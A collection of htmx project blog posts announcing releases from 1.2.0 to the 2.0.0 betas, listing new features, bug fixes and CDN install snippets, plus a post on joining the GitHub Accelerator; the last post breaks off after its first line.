# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2021-10-02-htmx-1.6.0-is-released.md

+++
title = "htmx 1.6.0 has been released!"
date = 2021-10-02
tag = ["posts", "announcements"]
+++

## htmx 1.6.0 Release

I'm happy to announce the [1.6.0 release](https://unpkg.com/browse/htmx.org@1.6.0/) of htmx.

### New Features & Major Changes

* Completely reworked `<script>` tag support that now supports the `<script src="...'/>` form
* You can now use the value `unset` to clear a property that would normally be inherited (e.g. hx-confirm)
* The `htmx-added` class is added to new content before a swap and removed after the settle phase, which allows you
  more flexibility in writing CSS transitions for added content (rather than relying on the target, as with `htmx-settling`)
* The `htmx:beforeSwap` event has been updated to allow you to [configure swapping](@/docs.md#modifying_swapping_behavior_with_events)
  behavior
  
### Improvements & Bug fixes

* Improved `<title>` extraction support
* You can listen to events on the `window` object using the `from:` modifier in `hx-trigger`
* The `root` option of the `intersect` event was fixed
* Boosted forms respect the `enctype` declaration
* The `HX-Boosted` header will be sent on requests from boosted elements
* Promises are not returned from the main ajax function unless it is an api call (i.e. `htmx.ajax`)

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2021-11-22-htmx-1.6.1-is-released.md

+++
title = "htmx 1.6.1 has been released!"
date = 2021-11-22
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.6.1 Release

I'm happy to announce the [1.6.1 release](https://unpkg.com/browse/htmx.org@1.6.1/) of htmx.

### New Features

* A new `HX-Retarget` header allows you to change the default target of returned content
* The `htmx:beforeSwap` event now includes another configurable property: `detail.isError` which can
  be used to indicate if a given response should be treated as an error or not
* The `htmx:afterRequest` event has two new detail properties: `success` and `failed`, allowing you to write 
  trigger filters in htmx or hyperscript:
  ```applescript
    on htmx:afterRequest[failed]
      set #myCheckbox's checked to true
  ```
  
### Improvements & Bug fixes

* Fixed the `from:` option in [`hx-trigger`](@/attributes/hx-trigger.md) to support `closest <CSS selector>` 
  and `find <CSS selector>` forms
* Don't boost anchor tags with an explicit `target` set
* Don't cancel all events on boosted elements, only the events that naturally trigger them (click for anchors, submit
  for forms)
* Persist revealed state in the DOM so that on history navigation, revealed elements are not re-requested
* Process all [`hx-ext`](@/attributes/hx-ext.md) attributes, even if no other htmx attribute is on the element
* Snapshot the current URL on load so that history support works properly after a page refresh occurs
* Many, many documentation updates (thank you to all the contributors!)

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2021-2-13-htmx-1.2.0-is-released.md

+++
title = "htmx 1.2.0 has been released!"
date = 2021-02-13
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.2.0 Release

I'm happy to announce the [1.2.0 release](https://unpkg.com/browse/htmx.org@1.2.0/) of htmx.

### New Features & Major Changes

* `hx-vars` has been deprecated in favor of `hx-vals`
* `hx-vals` now supports a `javascript:` prefix to achieve the behavior that `hx-vars` provided
* The new `hx-headers` attribute allows you to add headers to a request via an attribute.  Like `hx-vals` it supports
  JSON or javascript via the `javascript:` prefix
* `hx-include` will now include all inputs under an element, even if that element is not a form tag
* The [preload extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/preload/README.md) now offers a `preload-images="true"` attribute that will aggressively load images in preloaded content
* On requests driven by a history cache miss, the new `HX-History-Restore-Request` header is included so that the server
  can differentiate between history requests and normal requests 

### Improvements & Bug fixes

* Improved handling of precedence of input values to favor the enclosing form (see [here](https://github.com/bigskysoftware/htmx/commit/a10e43d619dc340aa324d37772c06a69a2f47ec9))
* Moved event filtering logic *after* `preventDefault` so filtering still allows events to be properly handled
* No longer trigger after swap events on elements that have been removed via an `outerHTML` swap
* Properly remove event handlers added to other elements when an element is removed from the DOM
* Handle the `scroll:` modifier in `hx-swap` properly when an `outerHTML` swap occurs
* Lots of docs fixes

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2021-3-6-htmx-1.3.0-is-released.md

+++
title = "htmx 1.3.0 has been released!"
date = 2021-03-06
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.3.0 Release

I'm happy to announce the [1.3.0 release](https://unpkg.com/browse/htmx.org@1.3.0/) of htmx.

### New Features & Major Changes

* Support a `target` modifier on `hx-trigger` to filter based on the element targeted by an event.  This allows
  lazy binding to that target selector.
* Events are no longer consumed by the first element that might handle them, unless the `consume` keyword is
  added to the `hx-trigger` specification
* Added the `htmx:beforeSend` event, fired just before an ajax request begins
* `htmx.ajax()` now returns a promise

### Improvements & Bug fixes

* SSE swaps are properly settled
* Fixed bug that was improperly cancelling all clicks on anchors

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2021-5-25-htmx-1.4.0-is-released.md

+++
title = "htmx 1.4.0 has been released!"
date = 2021-05-25
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.4.0 Release

I'm happy to announce the [1.4.0 release](https://unpkg.com/browse/htmx.org@1.4.0/) of htmx.

### New Features & Major Changes

* Added the `queue` option to the [hx-trigger](@/attributes/hx-trigger.md) attribute, allowing you to specify how events
  should be queued when they are received with a request in flight
* The `htmx.config.useTemplateFragments` option was added, allowing you to use HTML template tags for parsing content
  from the server.  This allows you to use Out of Band content when returning things like table rows, but it is not
  IE11 compatible.
* Introduced a new synthetic event, [intersect](@/docs.md#special-events) that allows you to trigger when an item is scrolled into view
  as specified by the `IntersectionObserver` API
* The `htmx.config.withCredentials` option was added, to send credentials with ajax requests (default is `false`)
* `hx-swap` now supports the `none` option

### Improvements & Bug fixes

* The `defaultSettleDelay` was dropped to 20ms from 100ms
* Fixed timing issue that caused exceptions in the `reveal` logic when scrolling at incredible speeds - <https://github.com/bigskysoftware/htmx/issues/463>
* Fixed bug causing SVG titles to be incorrectly used as page title - <https://github.com/bigskysoftware/htmx/issues/459>
* Boosted forms that issue a GET will now push the URL by default - <https://github.com/bigskysoftware/htmx/issues/485>
* Better dispatch of request events when an element is removed from the DOM
* Fixed a bug causing `hx-prompt` to fail
* The `throttle` option on `hx-trigger` does not delay the initial request any longer
* The `meta` key is ignored on boosted links
* `<script>` tags are now evaluated in the global scope
* Safari text selection bug - <https://github.com/bigskysoftware/htmx/issues/438>


Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2021-7-12-htmx-1.5.0-is-released.md

+++
title = "htmx 1.5.0 has been released!"
date = 2021-07-12
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.5.0 Release

I'm happy to announce the [1.5.0 release](https://unpkg.com/browse/htmx.org@1.5.0/) of htmx.

### New Features & Major Changes

* Support tracking of button clicked during a form submission
* Added the [hx-request](@/attributes/hx-request.md) attribute, allowing you to configure the following aspects of the request
    * `timeout` - the timeout of the request
    * `credentials` - if the request will send credentials
    * `noHeaders` - strips all headers from the request
* Along with the above attribute, you can configure the default values for each of these via the corresponding `htmx.config`
  properties (e.g. `htmx.config.timeout`)
  
### Improvements & Bug fixes

* Conditional polling via the [hx-trigger](@/attributes/hx-trigger.md) attribute
* `document` is now a valid pseudo-selector on the [hx-trigger](@/attributes/hx-trigger.md) `from:` argument, allowing you
  to listen for events on the document.
* Both the `scroll` and `show` options on [hx-swap](@/attributes/hx-swap.md) now support extended syntax for selecting the
  element to scroll or to show, including the pseudo-selectors `window:top` and `window:bottom`.


Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2022-02-22-htmx-1.7.0-is-released.md

+++
title = "htmx 1.7.0 has been released!"
date = 2022-02-22
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.7.0 Release

I'm happy to announce the [1.7.0 release](https://unpkg.com/browse/htmx.org@1.7.0/) of htmx.

### New Features

* The new [`hx-sync`](@/attributes/hx-sync.md) attribute allows you to synchronize multiple element requests on a single
  element using various strategies (e.g. replace)
  * You can also now abort an element making a request by sending it the `htmx:abort` event
* [Server Sent Events](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/sse/README.md) and [Web Sockets](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/ws/README.md) are now available as 
  extensions, in addition to the normal core support.  In htmx 2.0, the current `hx-sse` and `hx-ws` attributes will be
  moved entirely out to these new extensions.  By moving these features to extensions we will be able to add functionality 
  to both of them without compromising the core file size of htmx.  You are encouraged to move over to the new 
  extensions, but `hx-sse` and `hx-ws` will continue to work indefinitely in htmx 1.x.
* You can now mask out [attribute inheritance](@/docs.md#inheritance) via the [`hx-disinherit`](@/attributes/hx-disinherit.md) attribute.
* The `HX-Push` header can now have the `false` value, which will prevent a history snapshot from occurring.
* Many new extensions, with a big thanks to all the contributors!
    * A new [`alpine-morph`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/alpine-morph/README.md) extension allows you to use Alpine's swapping engine, which preserves Alpine state when you have entire Alpine components swapped by htmx.
    * A [restored](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/restored/README.md) extension was added that will trigger a `restore` event on all elements in the DOM
      on history restoration.
    * A [loading-states](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/loading-states/README.md) extension was added that allows you to easily manage loading states
      while a request is in flight, including disabling elements, and adding and removing CSS classes. 
* The `this` symbol now resolves properly for the [`hx-include`](@/attributes/hx-include.md) and [`hx-indicator`](@/attributes/hx-indicator.md)
  attributes
* When an object is included via the [`hx-vals`](@/attributes/hx-vals.md) attribute, it will be converted to JSON (rather 
  than rendering as the string `[Object object]"`)
* You can now pass a swap style in to the `htmx.ajax()` function call.
* Poll events now contain a `target` attribute, allowing you to filter a poll on the element that is polling.
* Two new Out Of Band-related events were added: `htmx:oobBeforeSwap` & `htmx:oobAfterSwap`
  
### Improvements & Bug fixes

* Many, many documentation updates (thank you to all the contributors!)

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2022-07-12-htmx-1.8.0-is-released.md

+++
title = "htmx 1.8.0 has been released!"
date = 2022-07-12
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.8.0 Release

I'm happy to announce the [1.8.0 release](https://unpkg.com/browse/htmx.org@1.8.0/) of htmx.

**NOTE:**  This was a big release with some changes to very touchy code that is hard to test (e.g. history support) so
please test thoroughly and let us know if there are any issues.

### New Features

* The [`hx-replace-url`](@/attributes/hx-replace-url.md) attribute was introduced, allowing you to replace
  the current URL in history (to complement `hx-push-url`)
* `m` is now a valid timing modifier (e.g. `hx-trigger="every 2m"`)
* `next` and `previous` are now valid extended query selector modifiers, e.g. `hx-target="next div"` will target the
  next div from the current element
* The `HX-Location` response header now implements client-side redirects entirely within htmx
* The `HX-Reswap` response header allows you to change the swap behavior of htmx
* The new [`hx-select-oob`](@/attributes/hx-select-oob.md) attribute selects one or more elements from a server response to swap in via an out of band swap
* The new [`hx-replace-url`](@/attributes/hx-replace-url.md) attribute can be used to replace the current URL in the location
  bar (very similar to `hx-push-url` but no new history entry is created).  The corresponding `HX-Replace-Url` response header can be used as well.
  
### Improvements & Bug fixes

* Boosted forms now will automatically push URLs into history as with links.  The [response URL](https://caniuse.com/mdn-api_xmlhttprequest_responseurl)
  detection API support is good enough that we feel comfortable making this the default now.
  * If you do not want this behavior you can add `hx-push-url='false'` to your boosted forms
* If htmx is included in a page more than once, we do not process elements multiple times
* When localStorage is not available we do not attempt to save history in it
* `hx-boost` will boost anchor tags with a `_self` target
* The `load` event now properly supports event filters
* The websocket extension has had many improvements: (A huge thank you to Denis Palashevskii, our newest committer on the project!)
  * Implement proper `hx-trigger` support
  * Expose trigger handling API to extensions
  * Implement safe message sending with sending queue
  * Fix `ws-send` attributes connecting in new elements
  * Fix OOB swapping of multiple elements in response
* htmx now properly handles anchors in both boosted links, as well as in `hx-get`, etc. attributes
* Many, many documentation updates (thank you to all the contributors!)

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2022-10-11-htmx-1.8.1-is-released.md

+++
title = "htmx 1.8.1 has been released!"
date = 2022-10-11
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.8.1 Release

I'm happy to announce the [1.8.1 release](https://unpkg.com/browse/htmx.org@1.8.1/) of htmx.

### New Features

* We now keep a count of outstanding requests for an indicator, so more than one overlapping request can share the same
  indicator without issues
* We now track the attribute state of an element and re-initialize it if `htmx.process()` is called on the element and
  the attributes have changed
* [Idiomorph](https://github.com/bigskysoftware/idiomorph) is now available for all your morph-swapping needs
* The new [`hx-validate`](@/attributes/hx-validate.md) attribute will force elements to validate before a request, even if
  they are not within a form being submitted

### Improvements & Bug fixes

* The `unset` directive now works properly for `hx-vals` and `hx-vars`
* The title of the page is now properly set on a history cache miss
* Many smaller bug and docs fixes

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2022-11-04-htmx-1.8.3-is-released.md

+++
title = "htmx 1.8.3 has been released!"
date = 2022-11-04
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.8.3 Release

I'm happy to announce the [1.8.3 release](https://unpkg.com/browse/htmx.org@1.8.3/) of htmx.

### New Features

* A new [`htmx:confirm` event](@/events.md#htmx:confirm) was added that allows for asynchronous confirmation dialogs to
  be integrated into htmx requests
* The new [head-support](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/head-support/README.md) extension allows for more elaborate head tag merging than standard htmx
  supports.  This functionality may be integrated into htmx 2.0, depending on feedback.
* The new [multi-swap](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/multi-swap/README.md) extension provides more elaborate swapping of multiple elements on a screen using
  a custom swap strategy

### Improvements & Bug fixes

* Many smaller bug and docs fixes

Enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2023-01-17-htmx-1.8.5-is-released.md

+++
title = "htmx 1.8.5 has been released!"
date = 2023-01-17
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.8.5 Release

I'm happy to announce the [1.8.5 release](https://unpkg.com/browse/htmx.org@1.8.5/) of htmx.

### New Features

* Support a new optional cache-busting configuration option, `getCacheBusterParam`, to allow browsers to disambiguate
  between `GET` requests from htmx and from the raw browser
* Support new `hx-history='false'` attribute, to prevent sensitive data from being stored in the history cache. (Thank you @croxton!)
* Extensive new event-oriented features are available in the [Web Socket](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/ws/README.md) extension (Thank you @Renerick!)

### Improvements & Bug fixes

* A bug fix for when a form contains multiple empty input values with the same name (Thank you @bluekeyes!)
* A bug fix around inputs that throw exceptions when calling `setSelectionRange()` (Thank you @gone!)
* A bug fix to pass through the proper event for the `htmx:configRequest` event
* A bug fix/improvement for the `preload` extension
* Many other small bug and doc fixes

Thank you to everyone who contributed, and enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2023-03-02-htmx-1.8.6-is-released.md

+++
title = "htmx 1.8.6 has been released!"
date = 2023-03-02
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.8.6 Release

I'm happy to announce the [1.8.6 release](https://unpkg.com/browse/htmx.org@1.8.6/) of htmx.

### New Features

* [ESM support](https://github.com/bigskysoftware/htmx/commit/a85ad4ac67c3a471dbb8472900ec1e583b571a67) (thank you @dkniffin!)
* Sass has been vanquished from the htmx.org website so python 2 (!!!) is no longer required for developing htmx (thank you @dz4k!)

### Improvements & Bug fixes

* Fixed a bug where the `changed` modifier on `keyup` did not work properly if an input was tabbed into
* Many other smaller bug fixes and doc fixes

Thank you to everyone who contributed, and enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2023-04-11-htmx-1.9.0-is-released.md

+++
title = "htmx 1.9.0 has been released!"
date = 2023-04-11
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.9.0 Release

I'm happy to announce the [1.9.0 release](https://unpkg.com/browse/htmx.org@1.9.0/) of htmx.

### New Features

* Support for [view transitions](/essays/view-transitions), based on the experimental [View Transitions API](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API)
  currently available in Chrome 111+ and coming to other browsers soon.
* Support for "naked" [`hx-trigger`](/attributes/hx-trigger) attributes, where an `hx-trigger` is present on an element
  that does not have an `hx-get`, etc. defined on it.  Instead, it will trigger the new `htmx:triggered` event, which can
  be responded to via your [preferred scripting solution](/docs#scripting).
* Support for generalized inline event handling via the new [`hx-on`](/attributes/hx-on) attribute, which addresses
  the shortcoming of limited [`onevent` properties](https://developer.mozilla.org/en-US/docs/Web/Events/Event_handlers#using_onevent_properties) attributes in HTML.

### Improvements & Bug fixes

* The htmx website has been migrated from 11ty to [zola](https://www.getzola.org/) by [@danieljsummers](https://github.com/danieljsummers), cutting
  way down on the number of "development" javascript dependencies
* A memory leak fix by [@croxton](https://github.com/bigskysoftware/htmx/commit/8cd3a480a7388877628ce8b9b8e50cd5df48bb81)

Thank you to everyone who contributed, and enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2023-06-06-htmx-github-accelerator.md

+++
title = "htmx is part of the GitHub Accelerator!"
date = 2023-06-06
[taxonomies]
tag = ["posts", "announcements"]
+++

We are excited to announce that htmx has been accepted into the first class of the 
[GitHub Open Source Accelerator](https://accelerator.github.com/)!  This is a tremendous opportunity to work with and
learn from some of the most successful open source developers and projects, and a great chance to get the message
out about hypermedia and htmx.

We plan on using this opportunity to begin work on htmx 2.0 and, we hope, possibly learn how to make working on htmx
a full time job!

Here are some of the other open source projects that we have met through the GitHub accelerator and that we recommend 
people check out:

<ul>
<li><a href='https://boxyhq.com'>BoxyHQ</a> - BoxyHQ’s suite of APIs for security and privacy helps engineering teams build and ship compliant cloud applications faster.</li>
<li><a href='https://cal.com'>Cal.com</a> - Cal.com is a scheduling tool that helps you schedule meetings without the back-and-forth emails.</li>
<li><a href='https://www.crowd.dev'>Crowd.dev</a> - Centralize community, product, and customer data to understand which companies are engaging with your open source project.</li>
<li><a href='https://documenso.com'>Documenso</a> - The Open-Source DocuSign Alternative. We aim to earn your trust by enabling you to self-host the platform and examine its inner workings.</li>
<li><a href='https://erxes.io'>Erxes</a> - The Open-Source HubSpot Alternative. A single XOS enables to create unique and life-changing experiences ​​that work for all types of business.</li>
<li><a href='https://formbricks.com'>Formbricks</a> - Survey granular user segments at any point in the user journey. Gather up to 6x more insights with targeted micro-surveys. All open-source.</li>
<li><a href='https://forwardemail.net'>Forward Email</a> - Free email forwarding for custom domains. For 6 years and counting, we are the go-to email service for thousands of creators, developers, and businesses.</li>
<li><a href='https://gitwonk.com'>GitWonk</a> - GitWonk is an open-source technical documentation tool, designed and built focusing on the developer experience.</li>
<li><a href='https://www.hanko.io'>Hanko</a> - Open-source authentication and user management for the passkey era. Integrated in minutes, for web and mobile apps.</li>
<li><a href='https://infisical.com'>Infisical</a> - Open source, end-to-end encrypted platform that lets you securely manage secrets and configs across your team, devices, and infrastructure.</li>
<li><a href='https://novu.co'>Novu</a> - The open-source notification infrastructure for developers. Simple components and APIs for managing all communication channels in one place.</li>
<li><a href='https://openbb.co'>OpenBB</a> - Democratizing investment research through an open source financial ecosystem. The OpenBB Terminal allows everyone to perform investment research, from everywhere.</li>
<li><a href='https://www.sniffnet.net'>Sniffnet</a> - Sniffnet is a network monitoring tool to help you easily keep track of your Internet traffic.</li>
<li><a href='https://typebot.io'>Typebot</a> - Typebot gives you powerful blocks to create unique chat experiences. Embed them anywhere on your apps and start collecting results like magic.</li>
<li><a href='https://www.webiny.com'>Webiny</a> - Open-source enterprise-grade serverless CMS. Own your data. Scale effortlessly. Customize everything.</li>
<li><a href='https://webstudio.is'>Webstudio</a> - Webstudio is an open source alternative to Webflow</li>
</ul>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2023-07-14-htmx-1.9.3-is-released.md

+++
title = "htmx 1.9.3 has been released!"
date = 2023-07-14
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.9.3 Release

I'm happy to announce the [1.9.3 release](https://unpkg.com/browse/htmx.org@1.9.3/) of htmx.

### New Features

* The `hx-on` attribute has been deprecated (sorry) in favor of `hx-on:<event name>` attributes.  See [`hx-on`](/attributes/hx-on) for more information.
* You can now configure if a type of HTTP request uses the body for parameters or not.  In particular, the `DELETE` _should_ use
  query parameters, according to the spec.  htmx has used the body, instead.  To avoid breaking code we are keeping this undefined
  behavior for now, but allowing people to fix it for their use cases by updating the `htmx.config.methodsThatUseUrlParams` config
  option.  Thank you to Alex and Vincent for their feedback and work on this issue!
* The `this` symbol is now available in event filter expressions, and refers to the element the `hx-trigger` is on
* The `HX-Reselect` HTTP response header has been added to change the selection from the returned content

### Improvements & Bug fixes

* We now have functioning CI using GitHub actions!
* Fix bug where the `htmx:afterSettle` event was raised multiple times with oob swaps occurred
* A large number of accessibility fixes were made in the docs (Thank you Denis & crew!)
* Fixed bug w/ WebSocket extension initialization caused by "naked" `hx-trigger` feature
* Many other smaller bug fixes

Thank you to everyone who contributed, and enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2023-08-25-htmx-1.9.5-is-released.md

+++
title = "htmx 1.9.5 has been released!"
date = 2023-08-25
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.9.5 Release

I'm happy to announce the [1.9.5 release](https://unpkg.com/browse/htmx.org@1.9.5/) of htmx.

### New Features

* You can disable the interpretation of script tags with the new `htmx.config.allowScriptTags` config variable
* You can now disable htmx-based requests to non-origin hosts via the `htmx.config.selfRequestsOnly` config variable

### Improvements & Bug fixes

* The [Security](https://htmx.org/docs#security) section has been expanded to help developers better understand how to
  properly secure their htmx-based applications.
* Web sockets now properly pass the target id in the HEADERS struct
* A very rare loading state bug was fixed (see https://github.com/bigskysoftware/htmx/commit/93bd81b6d003bb7bc445f10192bdb8089fa3495d)
* `hx-on` will not evaluate if `allowEval` is set to false

Thank you to everyone who contributed, and enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2023-09-22-htmx-1.9.6-is-released.md

+++
title = "htmx 1.9.6 has been released!"
date = 2023-09-22
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.9.6 Release

I'm happy to announce the [1.9.6 release](https://unpkg.com/browse/htmx.org@1.9.6/) of htmx.

### New Features

* IE support has been restored (thank you @telroshan!)
* Introduced the `hx-disabled-elt` attribute to allow specifying elements to disable during a request
* You can now explicitly decide to ignore `title` tags found in new content via the `ignoreTitle` option in `hx-swap` and the `htmx.config.ignoreTitle` configuration variable.
* `hx-swap` modifiers may be used without explicitly specifying the swap mechanism
* Arrays are now supported in the `client-side-templates` extension
* XSLT support in the `client-side-templates` extension

### Improvements & Bug fixes

* Support `preventDefault()` in extension event handling
* Allow the `HX-Refresh` header to apply even after an `HX-Redirect` has occurred
* the `formaction` and `formmethod` attributes on buttons are now properly respected
* `hx-on` can now handle events with dots in their name
* `htmx.ajax()` now always returns a Promise
* Handle leading `style` tag parsing more effectively
* Many smaller fixes

Thank you to everyone who contributed, and enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2023-11-03-htmx-1.9.7-is-released.md

+++
title = "htmx 1.9.7 has been released!"
date = 2023-11-03
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 1.9.7 Release

I'm happy to announce the [1.9.7 release](https://unpkg.com/browse/htmx.org@1.9.7/) of htmx.

### Improvements & Bug fixes

* Fixed a bug where a button associated with a form that is swapped out of the DOM caused errors
* The `hx-target-error` attribute was added to the `response-targets` extension, allowing you to capture all 400 & 500
  responses with a single attribute
* `hx-on` now properly supports multiple listeners
* The `hx-confirm` prompt is now passed into custom confirmation handlers
* `next` and `previous` are now valid _extended CSS_ symbols in htmx
* The `htmx:beforeHistoryUpdate` event was added
* Properly ignore the `dialog` formmethod on buttons when resolving the HTTP method to use
* Added a `htmx.config.scrollIntoViewOnBoost` option that may be set to `false` to disable scrolling the top of the
  body into view for boosted elements

Thank you to everyone who contributed, and enjoy!

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2024-01-26-htmx-2.0.0-alpha1-is-released.md

+++
title = "htmx 2.0.0-alpha1 has been released!"
date = 2024-01-26
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 2.0.0-alpha1 Release

I'm happy to announce the first alpha release of htmx 2.0

This is an _alpha_ release and should NOT be considered ready for production.  We are releasing it to begin testing
the code against real world scenarios to figure out what is broken and what needs improvement.

If you are able to do so, please switch to the release and do a quick run through any htmx-powered functionality you
have and let us know if there are issues.

Of particular concern to us are the following changes:

* We removed the deprecated `hx-sse` and `hx-ws` attributes in favor of the extensions (which are available in 1.x)
* We integrated the `head` tag processing from the `head-extension` into the core, and head processing is now the default
  behavior for boosted links.
* `DELETE` requests now use parameters, rather than form encoded bodies, for their payload (This is in accordance w/ the spec.)

A complete upgrade guide can be found here:

[htmx 1.x -> 2.x Migration Guide](@/migration-guide-htmx-1.md)

Note that htmx 2.x will no longer be IE compatible, but 1.x will continue to be supported for IE users.

### Installing

The alpha can be installed via a package manager referencing version `2.0.0-alpha1`, or can be linked via a CDN:

```html
<script src="https://unpkg.com/htmx.org@2.0.0-alpha1/dist/htmx.min.js"></script>
```

or <a href="https://unpkg.com/htmx.org@2.0.0-alpha1/dist/htmx.min.js" download>Downloaded</a>

### Extensions

Extensions have been removed from the main codebase and are now in this github repo:

<https://github.com/bigskysoftware/htmx-extensions/tree/main/ext>

They will eventually be available at <https://extensions.htmx.org> and in NPM but for now must be linked from the
github repo.

There was one breaking change in the extensions, SSE, so you must use the newer version of that extension:

https://github.com/bigskysoftware/htmx-extensions/blob/main/ext/sse.js

### New Features

* As mentioned above, htmx now includes `head` tag merging functionality out of the box
* htmx now works properly within the Shadow DOM of Web Components
* Attribute inheritance can now be disabled entirely via the `htmx.config.disableInheritance` config variable
* Response code handling is now configurable via the `htmx.config.responseHandling` config variable
* Template-based parsing is now the standard mechanism for parsing new content, which should make trouble with
  table elements being mixed with other content much less of an issue

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2024-02-09-htmx-2.0.0-alpha2-is-released.md

+++
title = "htmx 2.0.0-alpha2 has been released!"
date = 2024-02-09
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 2.0.0-alpha2 Release

I'm happy to announce the second alpha release of htmx 2.0

This is an _alpha_ release and should NOT be considered ready for production.  We are releasing it to begin testing
the code against real world scenarios to figure out what is broken and what needs improvement.

If you are able to do so, please switch to the release and do a quick run through any htmx-powered functionality you
have and let us know if there are issues.

Of particular concern to us are the following changes:

* We removed the deprecated `hx-sse` and `hx-ws` attributes in favor of the extensions (which are available in 1.x)
* `DELETE` requests now use parameters, rather than form encoded bodies, for their payload (This is in accordance w/ the spec.)

A complete upgrade guide can be found here:

[htmx 1.x -> 2.x Migration Guide](@/migration-guide-htmx-1.md)

Note that htmx 2.x will no longer be IE compatible, but 1.x will continue to be supported for IE users.

### Installing

The alpha can be installed via a package manager referencing version `2.0.0-alpha2`, or can be linked via a CDN:

```html
<script src="https://unpkg.com/htmx.org@2.0.0-alpha2/dist/htmx.min.js"></script>
```

or <a href="https://unpkg.com/htmx.org@2.0.0-alpha1/dist/htmx.min.js" download>Downloaded</a>

### Extensions

Extensions have been removed from the main codebase and are now in this github repo:

<https://github.com/bigskysoftware/htmx-extensions/tree/main/ext>

They will eventually be available at <https://extensions.htmx.org> and in NPM but for now must be linked from the
github repo.

There was one breaking change in the extensions, SSE, so you must use the newer version of that extension:

https://github.com/bigskysoftware/htmx-extensions/blob/main/ext/sse.js

### New Features

* No new features, in fact we took one out: we reverted `head` tag processing, we have decided that that is better handled as an extension
  because it's a little too magic for the core

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2024-03-15-htmx-2.0.0-beta1-is-released.md

+++
title = "htmx 2.0.0-beta1 has been released!"
date = 2024-03-15
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 2.0.0-beta1 Release

I'm happy to announce the first beta release of htmx 2.0

This is an _beta_ release and should NOT be considered ready for production.  We are releasing it to begin 
final testing against real world scenarios.

If you are able to do so, please switch to the release and do a quick run through any htmx-powered functionality you
have and let us know if there are issues.

Of particular concern to us are the following changes:

* We removed the deprecated `hx-sse` and `hx-ws` attributes in favor of the extensions (which are available in 1.x)
* `DELETE` requests now use parameters, rather than form encoded bodies, for their payload (This is in accordance w/ the spec.)

A complete upgrade guide can be found here:

[htmx 1.x -> 2.x Migration Guide](@/migration-guide-htmx-1.md)

Note that htmx 2.x will no longer be IE compatible, but 1.x will continue to be supported for IE users.

### Installing

The beta can be installed via a package manager referencing version `2.0.0-beta1`, or can be linked via a CDN:

```html
<script src="https://unpkg.com/htmx.org@2.0.0-beta1/dist/htmx.min.js"></script>
```

or <a href="https://unpkg.com/htmx.org@2.0.0-beta1/dist/htmx.min.js" download>Downloaded</a>

### Extensions

Extensions have been removed from the main codebase and are now in this github repo:

<https://github.com/bigskysoftware/htmx-extensions/tree/main/ext>

They are available at <https://extensions.htmx.org>

There was one breaking change in the extensions, SSE, so you must use the newer version of that extension:

https://github.com/bigskysoftware/htmx-extensions/blob/main/ext/sse.js

### New Features

* Add config option to ignore nested oob-swaps instead of processing them (#1235)
* Add textContent swap style (#2356)
* Complete JSdoc in htmx.js + generated TypeScript definition (Thank you @Telroshan!) (#2336)
* Finished the [extensions website](https://extensions.htmx.org)
* Added an [htmx 1.x compatibility extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/htmx-1-compat/README.md)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/posts/2024-04-22-htmx-2.0.0-beta4-is-released.md

+++
title = "htmx 2.0.0-beta4 has been released!"
date = 2024-04-22
[taxonomies]
tag = ["posts", "announcements"]
+++

## htmx 2.0.0-beta4 Release

I'm happy to announce the fourth beta release of htmx 2.0

